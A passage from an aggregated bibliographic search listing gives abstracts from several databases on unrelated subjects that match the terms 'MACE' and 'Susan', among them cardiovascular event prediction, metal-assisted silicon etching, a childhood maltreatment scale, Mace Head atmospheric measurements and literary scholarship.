prediction models from data. Results: We comparatively evaluate the performance of the proposed approach on a real clinical dataset consisting of 2930 ACS patient samples collected from a Chinese hospital. Our best model achieved 72% AUC in MACE prediction. In comparison of the performance between our models and two well-known ACS risk score tools, i.e., GRACE and TIMI, our learned models obtain better performances with a significant margin. Conclusions: Experimental results reveal that our approach can obtain competitive performance in MACE prediction. The comparison of classifiers indicates the proposed approach has a competitive generality with datasets extracted by different feature extraction methods. Furthermore, our MACE prediction model obtained a significant improvement by comparison with both GRACE and TIMI. It indicates that using admission records can effectively provide MACE prediction service for ACS patients at the early stage of their hospitalizations. 9. Family history predicts major adverse cardiovascular events (MACE) in young adults with psoriasis DEFF Research Database (Denmark) Egeberg, Alexander; Bruun, Louise E; Mallbris, Lotus 2016-01-01 BACKGROUND: Patients with psoriasis may have increased risk of major adverse cardiovascular (CV) events (MACE), and a family history of CV disease (CVD) is an independent risk factor for MACE. OBJECTIVE: We investigated the risk of first-time MACE in patients with psoriasis with or without a fami....... The findings call for increased focus on a family history of CVD in CV risk assessment of patients with psoriasis.......BACKGROUND: Patients with psoriasis may have increased risk of major adverse cardiovascular (CV) events (MACE), and a family history of CV disease (CVD) is an independent risk factor for MACE. OBJECTIVE: We investigated the risk of first-time MACE in patients with psoriasis with or without a family...... history of CVD. METHODS: Between January 1, 1997, and December 31, 2011, we identified 2,722,375 individuals, including 25,774 and 4504 patients with mild and severe psoriasis, through administrative registers. Incidence rate ratios were estimated by Poisson regression. RESULTS: Mean baseline age was 26... 10. Parallax adjustment algorithm based on Susan-Zernike moments Science.gov (United States) Deng, Yan; Zhang, Kun; Shen, Xiaoqin; Zhang, Huiyun 2018-02-01 Precise parallax detection through definition evaluation and the adjustment of the assembly position of the objective lens or the reticle are important means of eliminating the parallax of the telescope system, so that the imaging screen and the reticle are clearly focused at the same time. An adaptive definition evaluation function based on Susan-Zernike moments is proposed. First, the image is preprocessed by the Susan operator to find the potential boundary edge. Then, the Zernike moments operator is used to determine the exact region of the reticle line with sub-pixel accuracy. The image definition is evaluated only in this related area. The evaluation function consists of the gradient difference calculated by the Zernike moments operator. By adjusting the assembly position of the objective lens, the imaging screen and the reticle will be simultaneously in the state of maximum definition, so the parallax can be eliminated. The experimental results show that the definition evaluation function proposed in this paper has the advantages of good focusing performance, strong anti-interference ability compared with the other commonly used definition evaluation functions. 11. Practitioner Profile: An Interview with Susan Bross, AFC® Directory of Open Access Journals (Sweden) Susan Bross 2011-04-01 Full Text Available Susan Bross is a nationally accredited financial counselor who established her private practice in 1992. She currently lives in San Rafael, California. She brings a multi-faceted background and a combination of skills to her work. As a financial counselor, she works with individuals, couples, and entrepreneurs throughout the nation to help clients develop a practical and emotionally healthy relationship with money. When asked, she will tell you that she is passionate about her work because it mirrors her own hard-won path with money. Readers of the Journal will find Ms. Bross’s approach to financial therapy inspiring. She teaches simple tools for effortless and sustainable cash flow and money management. She also guides her clients to balanced attitudes and beliefs about money and success. 12. [The Durkheim Test. Remarks on Susan Leigh Star's Boundary Objects]. Science.gov (United States) Gießmann, Sebastian 2015-09-01 The article reconstructs Susan Leigh Star's conceptual work on the notion of 'boundary objects'. It traces the emergence of the concept, beginning with her PhD thesis and its publication as Regions of the Mind in 1989. 'Boundary objects' attempt to represent the distributed, multifold nature of scientific work and its mediations between different 'social worlds'. Being addressed to several 'communities of practice', the term responded to questions from Distributed Artificial Intelligence in Computer Science, Workplace Studies and Computer Supported Cooperative Work (CSCW), and microhistorical approaches inside the growing Science and Technology Studies. Yet the interdisciplinary character and interpretive flexibility of Star’s invention has rarely been noticed as a conceptual tool for media theory. I therefore propose to reconsider Star's 'Durkheim test' for sociotechnical media practices. 13. Comparison of the 2MACE and TIMI-AF Scores for Composite Clinical Outcomes in Anticoagulated Atrial Fibrillation Patients DEFF Research Database (Denmark) Pastori, Daniele; Rivera-Caravaca, José Miguel; Esteve-Pastor, María Asunción 2018-01-01 BACKGROUND: Two risk scores have been developed to predict composite outcomes in atrial fibrillation (AF): the 2MACE and TIMI-AF scores. The aim of this study was to compare the predictive ability of these scores in 2 separate warfarin-treated cohorts (one 'real world', one clinical trial) of AF...... patients.Methods and Results:The 2MACE and TIMI-AF scores were calculated in the 'real-world' ATHERO-AF cohort (n=907), and in the randomized controlled AMADEUS trial (n=2,265). Endpoints were major adverse cardiovascular events (MACEs), net clinical outcomes (NCO) and a combination of them, namely...... showed that the 2MACE and TIMI-AF scores had modest but significant predictive ability for composite outcomes in AF. The clinical usefulness of both scores was similar, but the 2MACE score may be simpler and easy to use.... 14. Nanostructured silicon via metal assisted catalyzed etch (MACE): chemistry fundamentals and pattern engineering Science.gov (United States) Toor, Fatima; Miller, Jeffrey B.; Davidson, Lauren M.; Nichols, Logan; Duan, Wenqi; Jura, Michael P.; Yim, Joanne; Forziati, Joanne; Black, Marcie R. 2016-10-01 There are a range of different methods to generate a nanostructured surface on silicon (Si) but the most cost effective and optically interesting is the metal assisted wet chemical etching (MACE) (Koynov et al 2006 Appl. Phys. Lett. 88 203107). MACE of Si is a controllable, room-temperature wet-chemical technique that uses a thin layer of metal to etch the surface of Si, leaving behind various nano- and micro-scale surface features or ‘black silicon’. MACE-fabricated nanowires (NWs) provide improved antireflection and light trapping functionality (Toor et al 2016 Nanoscale 8 15448-66) compared with the traditional ‘iso-texturing’ (Campbell and Green 1987 J. Appl. Phys. 62 243-9). The resulting lower reflection and improved light trapping can lead to higher short circuit currents in NW solar cells (Toor et al 2011 Appl. Phys. Lett. 99 103501). In addition, NW cells can have higher fill factors and voltages than traditionally processed cells, thus leading to increased solar cell efficiencies (Cabrera et al 2013 IEEE J. Photovolt. 3 102-7). MACE NW processing also has synergy with next generation Si solar cell designs, such as thin epitaxial-Si and passivated emitter rear contact (Toor et al 2016 Nanoscale 8 15448-66). While several companies have begun manufacturing black Si, and many more are researching these techniques, much of the work has not been published in traditional journals and is publicly available only through conference proceedings and patent publications, which makes learning the field challenging. There have been three specialized review articles published recently on certain aspects of MACE or black Si, but do not present a full review that would benefit the industry (Liu et al 2014 Energy Environ. Sci. 7 3223-63 Yusufoglu et al 2015 IEEE J. Photovolt. 5 320-8 Huang et al 2011 Adv. Mater. 23 285-308). In this feature article, we review the chemistry of MACE and explore how changing parameters in the wet etch process effects the resulting 15. Thinking about rumination: the scholarly contributions and intellectual legacy of Susan Nolen-Hoeksema. Science.gov (United States) Lyubomirsky, Sonja; Layous, Kristin; Chancellor, Joseph; Nelson, S Katherine 2015-01-01 Our article reviews and celebrates Susan Nolen-Hoeksema's remarkable contributions to psychological and clinical science, focusing on her vast body of theoretical and empirical work and her influence on colleagues and students. Susan spent her career trying to understand how and why a style of regulating emotions called rumination increases vulnerability to depression and exacerbates and perpetuates negative moods. More broadly, we describe research by Susan and her colleagues on the predictors of depression in childhood and adolescence; gender differences in depression and rumination in adolescence and adulthood; roots, correlates, and adverse consequences of ruminative response styles; and rumination as a transdiagnostic risk factor for not only depression but also a host of psychological disorders, including anxiety, substance abuse, and eating disorders. Susan's intellectual legacy is evident in her impressive publication and citation record, the clinical applications of her work, and the flourishing careers of the students she mentored. 16. Risk prediction models for major adverse cardiac event (MACE) following percutaneous coronary intervention (PCI): A review Science.gov (United States) Manan, Norhafizah A.; Abidin, Basir 2015-02-01 Five percent of patients who went through Percutaneous Coronary Intervention (PCI) experienced Major Adverse Cardiac Events (MACE) after PCI procedure. Risk prediction of MACE following a PCI procedure therefore is helpful. This work describes a review of such prediction models currently in use. Literature search was done on PubMed and SCOPUS database. Thirty literatures were found but only 4 studies were chosen based on the data used, design, and outcome of the study. Particular emphasis was given and commented on the study design, population, sample size, modeling method, predictors, outcomes, discrimination and calibration of the model. All the models had acceptable discrimination ability (C-statistics >0.7) and good calibration (Hosmer-Lameshow P-value >0.05). Most common model used was multivariate logistic regression and most popular predictor was age. 17. APhoRISM FP7 project: the Multi-platform volcanic Ash Cloud Estimation (MACE) infrastructure Science.gov (United States) Merucci, Luca; Corradini, Stefano; Bignami, Christian; Stramondo, Salvatore 2014-05-01 APHORISM is an FP7 project that aims to develop innovative products to support the management and mitigation of the volcanic and the seismic crisis. Satellite and ground measurements will be managed in a novel manner to provide new and improved products in terms of accuracy and quality of information. The Multi-platform volcanic Ash Cloud Estimation (MACE) infrastructure will exploit the complementarity between geostationary, and polar satellite sensors and ground measurements to improve the ash detection and retrieval and to fully characterize the volcanic ash clouds from source to the atmosphere. The basic idea behind the proposed method consists to manage in a novel manner, the volcanic ash retrievals at the space-time scale of typical geostationary observations using both the polar satellite estimations and in-situ measurements. The typical ash thermal infrared (TIR) retrieval will be integrated by using a wider spectral range from visible (VIS) to microwave (MW) and the ash detection will be extended also in case of cloudy atmosphere or steam plumes. All the MACE ash products will be tested on three recent eruptions representative of different eruption styles in different clear or cloudy atmospheric conditions: Eyjafjallajokull (Iceland) 2010, Grimsvotn (Iceland) 2011 and Etna (Italy) 2011-2012. The MACE infrastructure will be suitable to be implemented in the next generation of ESA Sentinels satellite missions. 18. The 'Maltreatment and Abuse Chronology of Exposure' (MACE scale for the retrospective assessment of abuse and neglect during development. Directory of Open Access Journals (Sweden) Martin H Teicher Full Text Available There is increasing interest in childhood maltreatment as a potent stimulus that may alter trajectories of brain development, induce epigenetic modifications and enhance risk for medical and psychiatric disorders. Although a number of useful scales exist for retrospective assessment of abuse and neglect they have significant limitations. Moreover, they fail to provide detailed information on timing of exposure, which is critical for delineation of sensitive periods. The Maltreatment and Abuse Chronology of Exposure (MACE scale was developed in a sample of 1051 participants using item response theory to gauge severity of exposure to ten types of maltreatment (emotional neglect, non-verbal emotional abuse, parental physical maltreatment, parental verbal abuse, peer emotional abuse, peer physical bullying, physical neglect, sexual abuse, witnessing interparental violence and witnessing violence to siblings during each year of childhood. Items included in the subscales had acceptable psychometric properties based on infit and outfit mean square statistics, and each subscale passed Andersen's Likelihood ratio test. The MACE provides an overall severity score and multiplicity score (number of types of maltreatment experienced with excellent test-retest reliability. Each type of maltreatment showed good reliability as did severity of exposure across each year of childhood. MACE Severity correlated 0.738 with Childhood Trauma Questionnaire (CTQ score and MACE Multiplicity correlated 0.698 with the Adverse Childhood Experiences scale (ACE. However, MACE accounted for 2.00- and 2.07-fold more of the variance, on average, in psychiatric symptom ratings than CTQ or ACE, respectively, based on variance decomposition. Different types of maltreatment had distinct and often unique developmental patterns. The 52-item MACE, a simpler Maltreatment Abuse and Exposure Scale (MAES that only assesses overall exposure and the original test instrument (MACE-X with 19. Kitybė Susan Hill novelėje ,,The Woman in Black“ OpenAIRE Kučinskaitė, Martyna 2016-01-01 Otherness in the Novella by Susan Hill “The Woman in Black” The present BA paper considers the representation of otherness in Susan Hill’s horror novella The Woman in Black (1983). The novella’s story is set in the Victorian England where the main concerns are the ghost of Jennet Humfrye who haunts the village, Crythin Gifford, and the haunted Eel Marsh House. Whenever she is seen by someone in the village, or in the house she haunts, a child dies under mysterious circumstances. The present p... 20. Binding in the Lazy Susan of the 1 MW TRIGA at the Centro Nuclear de Mexico International Nuclear Information System (INIS) Sanchez, J.; Mulas, P.; Mariano, G.; Hernandez, R. 1974-01-01 Problems with the original Lazy Susan were reported in a previous conference, where the procedure followed for its removal was described. A new Lazy Susan was supplied by the fabricant and it was judged convenient to perform an out-of-core test of the dispositive. A rig was built to produce temperature gradients similar to the ones encountered in the operation at high power levels. After a temperature difference (estimated between 130 o C and 170 o C) between the rotating part and the outside surface was established, the Lazy Susan started to bind. This was reported to the fabricant and it was concluded that a new design was needed and since it would take at least two years before the new unit could be acquired, it was decided to install the Lazy Susan recently supplied. The unit now rotates for approximately 20 minutes when the reactor is operating at 1 MW and then binds. At lower power levels it is operative for longer periods of time. (author) 1. Teaching Students About Stereotypes, Prejudice, and Discrimination: An Interview with Susan Fiske Science.gov (United States) Hackney, Amy 2005-01-01 Susan T. Fiske is professor of psychology, Princeton University (PhD, Harvard University; honorary doctorate, Universite Catholique de Louvain-la-Neuve, Belgium). She wrote Social Cognition (with Taylor) on how people make sense of each other. Currently, she investigates emotional prejudices (pity, contempt, envy, and pride) at cultural,… 2. Binding in the Lazy Susan of the 1 MW TRIGA at the Centro Nuclear de Mexico Energy Technology Data Exchange (ETDEWEB) Sanchez, J; Mulas, P; Mariano, G; Hernandez, R [Instituto Nacional de Energia Nuclear (Mexico) 1974-07-01 Problems with the original Lazy Susan were reported in a previous conference, where the procedure followed for its removal was described. A new Lazy Susan was supplied by the fabricant and it was judged convenient to perform an out-of-core test of the dispositive. A rig was built to produce temperature gradients similar to the ones encountered in the operation at high power levels. After a temperature difference (estimated between 130{sup o}C and 170{sup o}C) between the rotating part and the outside surface was established, the Lazy Susan started to bind. This was reported to the fabricant and it was concluded that a new design was needed and since it would take at least two years before the new unit could be acquired, it was decided to install the Lazy Susan recently supplied. The unit now rotates for approximately 20 minutes when the reactor is operating at 1 MW and then binds. At lower power levels it is operative for longer periods of time. (author) 3. Re-Establishing Social Studies as a Core Subject: An Interview with Susan Griffin Science.gov (United States) Griffin, Susan 2014-01-01 NCSS Executive Director Susan Griffin was chair of the Task Force of Professional Organizations that worked with the Social Studies Assessment, Curriculum, and Instruction Collaborative (SSACI) of the Council of Chief State School Officers to initiate and guide the development of the "College, Career and Civic Life (C3) Framework for Social… 4. Susan And Lucy: Two Outstanding Heroines Of Alan Ayckbourn / Susan ve Lucy: Alan Ayckbourn’un İki Sıradışı Kadın-Kahramanı OpenAIRE Parlak, Erdinç 2012-01-01 Alan Ayckbourn (1939- ) has an important place among the twentieth century British playwrights. The playwright handles some present-day social problems such as insensitiveness, lack of communication, lack of love, collision, alienation, moral degeneration especially around his heroines. Susan, the protagonist of Woman in Mind, and Lucy, the little heroine in Invisible Friends, are among the outstanding heroines of the playwright. The life experiences of Susan and Lucy reflected from the s... 5. Detection algorithm of infrared small target based on improved SUSAN operator Science.gov (United States) Liu, Xingmiao; Wang, Shicheng; Zhao, Jing 2010-10-01 The methods of detecting small moving targets in infrared image sequences that contain moving nuisance objects and background noise is analyzed in this paper. A novel infrared small target detection algorithm based on improved SUSAN operator is put forward. The algorithm selects double templates for the infrared small target detection: one size is greater than the small target point size and another size is equal to the small target point size. First, the algorithm uses the big template to calculate the USAN of each pixel in the image and detect the small target, the edge of the image and isolated noise pixels; Then the algorithm uses the another template to calculate the USAN of pixels detected in the first step and improves the principles of SUSAN algorithm based on the characteristics of the small target so that the algorithm can only detect small targets and don't sensitive to the edge pixels of the image and isolated noise pixels. So the interference of the edge of the image and isolate noise points are removed and the candidate target points can be identified; At last, the target is detected by utilizing the continuity and consistency of target movement. The experimental results indicate that the improved SUSAN detection algorithm can quickly and effectively detect the infrared small targets. 6. Cross-cultural adaptation of the Maltreatment and Abuse Chronology of Exposure (MACE scale to Brazilian Portuguese Directory of Open Access Journals (Sweden) Bruno Kluwe-Schiavon 2016-03-01 Full Text Available Introduction : There is strong evidence to indicate that childhood maltreatment can negatively affect both physical and mental health and there is increasing interest in understanding the occurrence and consequences of such experiences. While several tools have been developed to retrospectively investigate childhood maltreatment experiences, most of them do not investigate the experience of witnessing family violence during childhood or bullying exposure. Moreover, the majority of scales do not identify when these experiences may have occurred, who was involved or the feelings evoked, such as helplessness or terror. The Maltreatment and Abuse Chronology of Exposure (MACE scale was developed to overcome these limitations. Objective : In view of the improvements over previous self-report instruments that this new tool offers and of the small number of self-report questionnaires for childhood maltreatment assessment available in Brazil, this study was conducted to conduct cross-cultural adaptation of the MACE scale for Brazilian Portuguese. Method : The following steps were performed: translation, back-translation, committee review for semantic and conceptual evaluation, and acceptability trial for equivalence. Results : Semantic and structural changes were made to the interview to adapt it for the Brazilian culture and all 75 of the items that comprise the longer version of MACE were translated. The results of the acceptability trial suggest that the items are comprehensible. Conclusion : The MACE scales may be useful tools for investigation of childhood maltreatment and make a valuable contribution to research in Brazil. Future studies should consider testing the availability and reliability of the three versions of the instrument translated into Brazilian Portuguese. 7. A five year record of high-frequency in situ measurements of non-methane hydrocarbons at Mace Head, Ireland Directory of Open Access Journals (Sweden) A. Grant 2011-05-01 Full Text Available Continuous high-frequency in situ measurements of a range of non-methane hydrocarbons have been made at Mace Head since January 2005. Mace Head is a background Northern Hemispheric site situated on the eastern edge of the Atlantic. Five year measurements (2005–2009 of six C2–C5 non-methane hydrocarbons have been separated into baseline Northern Hemispheric and European polluted air masses, among other sectors. Seasonal cycles in baseline Northern Hemispheric air masses and European polluted air masses arriving at Mace Head have been studied. Baseline air masses show a broad summer minima between June and September for shorter lived species, longer lived species show summer minima in July/August. All species displayed a winter maxima in February. European air masses showed baseline elevated mole fractions for all non-methane hydrocarbons. Largest elevations (of up to 360 ppt for ethane maxima from baseline data were observed in winter maxima, with smaller elevations observed during the summer. Analysis of temporal trends using the Mann-Kendall test showed small (<6 % yr−1 but statistically significant decreases in the butanes and i-pentane between 2005 and 2009 in European air. No significant trends were found for any species in baseline air. 8. AFSC/RACE/MACE: Results of 2009 ACOUSTIC-TRAWL SURVEYS OF THE SHUMAGINS, SANAK TROUGH & WESTERN GULF OF ALASKA SHELFBREAK DY0901 Data.gov (United States) National Oceanic and Atmospheric Administration, Department of Commerce — Scientists from the Midwater Assessment and Conservation Engineering (MACE) Program of the Alaska Fisheries Science Center's (AFSC) Resource Assessment and... 9. A New Approach: The Feminist Musicology Studies of Susan McClary and Marcia J. Citron Directory of Open Access Journals (Sweden) Kimberly Reitsma 2014-06-01 Full Text Available One of the currently prevalent analytic approaches in academia is feminist theory and criticism. Its combination with musicology has influenced the field for the past four decades. The goal of the new approach, loosely termed “feminist musicology,” has been to discover, analyze, discuss, and promote the representation of women and the “feminine” essence in various disciplines of music. Today, feminist musicology is highly researched, published in books and journals, and presented as scholarly papers at various musicological conferences around the world. This new approach introduces the ideologies of feminism to the study of music. Susan McClary and Marcia J. Citron are two musicologists who were influenced by these ideologies and have guided the musicological world in this direction of feminist musicology. Both have made serious contributions to the emerging field of feminist musicology. Both researched the ideas of gender musical construction within musical narratives, music as a gendered discourse, and historical and social factors that affected women in music. Although they have met with considerable resistance, Susan McClary and Marcia J. Citron have significantly expanded the scope of musicology through their application of feminist theory. 10. (REREADING INDEX CARDS: THE ARCHIVIST AS INTERPRETER IN SUSAN PUI SAN LOK'S 'NEWS' Directory of Open Access Journals (Sweden) Sandra Camacho 2018-01-01 Full Text Available Looking at susan pui san lok's projects News (2005 and RoCH (2013, this paper contemplates the notions put forward by Michel-Rolph Trouillot and Jacques Derrida on the power of archivists, not solely as guardians of documents but also as their interpreters. Taking into consideration that photographic and moving image archives present unique difficulties in their cataloguing processes, I examine silences that might be generated by a thematic classification that is not impervious to archivists' biases. Moreover, I consider if the silences created by manual processes of classification and retrieval might be surpassed through digital technologies, or if it is possible that new technologies simply create different types of silencing. 11. Intermittent large amplitude internal waves observed in Port Susan, Puget Sound Science.gov (United States) Harris, J. C.; Decker, L. 2017-07-01 A previously unreported internal tidal bore, which evolves into solitary internal wave packets, was observed in Port Susan, Puget Sound, and the timing, speed, and amplitude of the waves were measured by CTD and visual observation. Acoustic Doppler current profiler (ADCP) measurements were attempted, but unsuccessful. The waves appear to be generated with the ebb flow along the tidal flats of the Stillaguamish River, and the speed and width of the resulting waves can be predicted from second-order KdV theory. Their eventual dissipation may contribute significantly to surface mixing locally, particularly in comparison with the local dissipation due to the tides. Visually the waves appear in fair weather as a strong foam front, which is less visible the farther they propagate. 12. An Interview with Susan Conners: An Educator's Observations about Living with and Educating Others about Tourette's Syndrome. Science.gov (United States) Chamberlain, Steven P. 2003-01-01 In this interview with Susan Conners, a middle school French teacher who has lived with Tourette syndrome (TS) since age 6, she discusses her lack of diagnosis until age 36, difficulties in school, why TS should be listed under "Other Health Impaired" in federal legislation, characteristics of TS, and interventions. (Contains… 13. Lesson Plans for "Not for Ourselves Alone: The Story of Elizabeth Cady Stanton and Susan B. Anthony." Science.gov (United States) Prososki, Lisa; Krouse, Judith; Harper, Judith E. These lesson plans for high school students were developed to accompany the documentary film by Ken Burns and Paul Barnes which tells the story of Elizabeth Cady Stanton and Susan B. Anthony and their lifelong fight for women's rights. In the lessons students write editorials about women's rights around the world today, interview senior citizens… 14. "I Am Not a Fairy Tale": Contextualizing Sioux Spirituality and Story Traditions in Susan Power's "The Grass Dancer" Science.gov (United States) Diana, Vanessa Holford 2009-01-01 Standing Rock Sioux writer Susan Power's best-selling novel "The Grass Dancer" (1994) includes depictions of the supernatural and spiritual that do not conform to the Judeo-Christian or, in some cases, the atheist or rationalist worldviews of many readers. Power writes of ghost characters and haunted places, communication between the living and… 15. 78 FR 75676 - Mark W. Dobronski and Susan K. Dobronski-Acquisition of Control Exemption-Adrian & Blissfield... Science.gov (United States) 2013-12-12 ... Ferrovia, L.L.C. (Ferrovia), also a noncarrier and a limited liability company, which, until very recently... and Susan K. Dobronski--Acquisition of Control Exemption--Adrian & Blissfield Rail Road Company, Charlotte Southern Railroad Company, Detroit Connecting Railroad Company, Lapeer Industrial Railroad Company... 16. Quantitative trace analysis of polyfluorinated alkyl substances (PFAS) in ambient air samples from Mace Head (Ireland): A method intercomparison Science.gov (United States) Jahnke, Annika; Barber, Jonathan L.; Jones, Kevin C.; Temme, Christian A method intercomparison study of analytical methods for the determination of neutral, volatile polyfluorinated alkyl substances (PFAS) was carried out in March, 2006. Environmental air samples were collected in triplicate at the European background site Mace Head on the west coast of Ireland, a site dominated by 'clean' westerly winds coming across the Atlantic. Extraction and analysis were performed at two laboratories active in PFAS research using their in-house methods. Airborne polyfluorinated telomer alcohols (FTOHs), fluorooctane sulfonamides and sulfonamidoethanols (FOSAs/FOSEs) as well as additional polyfluorinated compounds were investigated. Different native and isotope-labelled internal standards (IS) were applied at various steps in the analytical procedure to evaluate the different quantification strategies. Field blanks revealed no major blank problems. European background concentrations observed at Mace Head were found to be in a similar range to Arctic data reported in the literature. Due to trace-levels at the remote site, only FTOH data sets were complete and could therefore be compared between the laboratories. Additionally, FOSEs could partly be included. Data comparison revealed that despite the challenges inherent in analysis of airborne PFAS and the low concentrations, all methods applied in this study obtained similar results. However, application of isotope-labelled IS early in the analytical procedure leads to more precise results and is therefore recommended. 17. Peristeen anal irrigation as a substitute for the MACE procedure in children who are in need of reconstructive bladder surgery Science.gov (United States) Alenezi, Husain; Alhazmi, Hamdan; Trbay, Mahmoud; Khattab, Amna; Neel, Khalid Fouda 2014-01-01 Introduction: We evaluate the efficacy of the Peristeen (Coloplast A/S, Kokkedal, Denmark) transanal irrigation (TAI) system, as a stool cleansing mechanism, to gain stool continence in children who need reconstructive bladder surgery and have fecal incontinence. Methods: We prospectively evaluated children with neuropathic bladder and bowel dysfunction who were intended for reconstructive bladder surgery and the Malone antegrade continence enema (MACE) procedure. All patients were started on the Peristeen TAI system at least 3 months before surgery to assess their response. Each patient’s bowel function, frequency of using the system, satisfaction (and that of their parents) and diaper independency were evaluated before and after reconstructive surgery. Results: We included 18 patients (11 female, 7 male) who were evaluated from April 2006 to the present. The mean age of the group was 7.6 years (range: 4–15). Fifteen patients (83.3%) showed complete dryness from stools. Of the 15 patients, 8 (53.3%) were able to be diaper-free, while 6 continued wearing diapers due to fear of soiling and 1 due to urinary incontinence. The patients underwent reconstructive bladder surgery and continued to use the Peristeen TAI system with the same results postoperatively. The main limitation of this study is the small number of patients included, although this is a very specific patient group. Conclusion: Our initial results suggest that the Peristeen TAI system is a successful conservative substitute for the MACE procedure in children who require reconstructive bladder surgery. PMID:24454594 18. 'Speaking Kleinian': Susan Isaacs as Ursula Wise and the Inter-War Popularisation of Psychoanalysis. Science.gov (United States) Shapira, Michal 2017-10-01 How did the complex concepts of psychoanalysis become popular in early twentieth-century Britain? This article examines the contribution of educator and psychoanalyst Susan Isaacs (1885-1948) to this process, as well as her role as a female expert in the intellectual and medical history of this period. Isaacs was one of the most influential British psychologists of the inter-war era, yet historical research on her work is still limited. The article focuses on her writing as 'Ursula Wise', answering the questions of parents and nursery nurses in the popular journal Nursery World, from 1929 to 1936. Researched in depth for the first time, Isaacs' important magazine columns reveal that her writing was instrumental in disseminating the work of psychoanalyst Melanie Klein in Britain. Moreover, Isaacs' powerful rebuttals to behaviourist, disciplinarian parenting methods helped shift the focus of caregivers to the child's perspective, encouraging them to acknowledge children as independent subjects and future democratic citizens. Like other early psychoanalysts, Isaacs was not an elitist; she was in fact committed to disseminating her ideas as broadly as possible. Isaacs taught British parents and child caregivers to 'speak Kleinian', translating Klein's intellectual ideas into ordinary language and thus enabling their swift integration into popular discourse. 19. A Journey, the Pain of Others, and Historical Experience: Susan Silas Directory of Open Access Journals (Sweden) Sendyka, Roma 2014-12-01 Full Text Available The author interprets Susan Silas' Helmbrechts walk (1998-2003, a unique series of forty-five photographs and supplementing visual and textual materials collected during the walk along the route of two hundred and twenty-five miles. The walk repeats the route which in 1945 had to undertake women prisoners from the concentration camp in Helmbrechts near Flossenbürg in their death march to Prachatice in Czech Republic. The pictures Silas takes, the people she meets, and finally the trees, the very materiality of the road become the factors of creating her own, individual memory of the event from the past. Silas selects an object from "the margins of the Holocaust" – a forgotten event that she re-presents by reacting to contemporary objects placed along the route of the event. Silas' work offers an opportunity to critically review the concept of memory landscapes (where is memory located in a landscape? and the phenomenon of dark tourism (is following in the footsteps of the prisoners a kind of pilgrimage, tourism, or therapy?. Silas problematises the question of memory, as well as examines different kinds of non-memory. Her camera is directed at locations that can be termed "the non-sites of memory." 20. The haunting of Susan Lay: servants and mistresses in seventeenth-century England. Science.gov (United States) Gowing, Laura 2002-01-01 At Easter 1650, Susan Lay, a servant in an Essex alehouse, saw the ghost of her mistress, who had been buried three days before. This article explores the history that lay behind her experience: of sexual relationships with both her master and his son, the births and deaths of two bastard children, and beneath it all, a relationship of antagonism, competition, and intimacy with her mistress. It uses this and other legal records to examine the relationship between women in early modern households, arguing that, while antagonisms between women are typically part of effective patriarchies, the domestic life and social structures of mid seventeenth-century England bound servants and mistresses peculiarly tightly together, giving servants licence to dream of replacing their mistresses and mistresses cause to feel threatened by their servants, and making the competitive relations between women functional to patriarchal order. It suggests, finally, that at this moment in time and in this context, seeing a ghost was the best, perhaps the only, way this servant had to tell a suppressed story and stake a claim to a household that had excluded her. 1. Bárbara Mujica, ed., Shakespeare and the Spanish «Comedia». Translation, Interpretation, Performance. Essays in Honor of Susan L. Fischer Directory of Open Access Journals (Sweden) Alejandro García-Reidy 2016-01-01 Full Text Available Reseña de Bárbara Mujica, ed., Shakespeare and the Spanish «Comedia». Translation, Interpretation, Performance. Essays in Honor of Susan L. Fischer, Bucknell University Press, Lewisburg, 2013, 298 pp. ISBN 9781611485172. 2. Podróż, cudze cierpienie i doświadczenie historyczne: Susan Silas Directory of Open Access Journals (Sweden) Sendyka, Roma 2014-12-01 Full Text Available Autorka interpretuje pracę Susan Silas Helmbrechts walk (1998-2003, szczególny cykl czterdziestu pięciu zdjęć i dołączonych do nich materiałów wizualnych oraz tekstowych zbudowany podczas przejścia trasy dwustu dwudziestu pięciu mil, które w 1945 roku musiały przebyć kobiety pędzone w marszu śmierci z Helmbrecht koło Flossenbürga do czeskich Prachatic. Wykonywane zdjęcia, napotykani ludzie, w końcu – drzewa, sama materialność drogi stają się czynnikami wytwarzania własnej, indywidualnej pamięci wydarzenia sprzed lat. Silas wybiera szczególny obiekt "z marginesów Zagłady" – zapomniane zdarzenie, które przedstawia obserwując współczesne obiekty położone wzdłuż trasy tego zdarzenia. Praca Silas pozwala przyjrzeć się krytycznie koncepcji memory landscapes (gdzie w krajobrazie umiejscawia się pamięć? i zjawisku dark tourism (czy podążanie śladami więźniarek to pielgrzymka, turystyka czy terapia?. Silas problematyzuje nie tylko kwestię pamięci, bada również rodzaje nie-pamiętania. Jej kamera zostaje zwrócona ku lokalizacjom, które można nazwać "nie-miejscami pamięci". 3. Treasure Your Exceptions: An Interview with 2017 George Beadle Award Recipient Susan A. Gerbi. Science.gov (United States) Gerbi, Susan A 2017-12-01 THE Genetics Society of America's (GSA) George W. Beadle Award honors individuals who have made outstanding contributions to the community of genetics researchers and who exemplify the qualities of its namesake. The 2017 recipient is Susan A. Gerbi, who has been a prominent leader and advocate for the scientific community. In the course of her research on DNA replication, Gerbi helped develop the method of Replication Initiation Point (RIP) mapping to map replication origins at the nucleotide level, improving resolution by two orders of magnitude. RIP mapping also provides the basis for the now popular use of λ-exonuclease to enrich nascent DNA to map replication origins genome-wide. Gerbi's second area of research on ribosomal RNA revealed a conserved core secondary structure, as well as conserved nucleotide elements (CNEs). Some CNEs are universally conserved, while other CNEs are conserved in all eukaryotes but not in archaea or bacteria, suggesting a eukaryotic function. Intriguingly, the majority of the eukaryotic-specific CNEs line the tunnel of the large ribosomal subunit through which the nascent polypeptide exits. Gerbi has promoted the fly Sciara coprophila as a model organism ever since she used its enormous polytene chromosomes to help develop the method of in situ hybridization during her Ph.D. research in Joe Gall's laboratory. The Gerbi laboratory maintains the Sciara International Stock Center and manages its future, actively spreading Sciara stocks to other laboratories. Gerbi has also served in many leadership roles, working on issues of science policy, women in science, scientific training, and career preparation. This is an abridged version of the interview. The full interview is available on the Genes to Genomes blog, at genestogenomes.org/gerbi. Copyright © 2017 by the Genetics Society of America. 4. Comparisons of continuous atmospheric CH4, CO2 and N2O measurements - results from a travelling instrument campaign at Mace Head International Nuclear Information System (INIS) Vardag, S.N.; Hammer, S.; Levin, I.; O'Doherty, S.; Spain, T.G.; Wastine, B.; Jordan, A. 2014-01-01 A 2-month measurement campaign with a Fourier transform infrared analyser as a travelling comparison instrument (TCI) was performed at the Advanced Global Atmospheric Gases Experiment (AGAGE) and World Meteorological Organization (WMO) Global Atmosphere Watch (GAW) station at Mace Head, Ireland. The aim was to evaluate the compatibility of atmospheric methane (CH 4 ), carbon dioxide (CO 2 ) and nitrous oxide (N 2 O) measurements of the routine station instrumentation, consisting of a gas chromatograph (GC) for CH 4 and 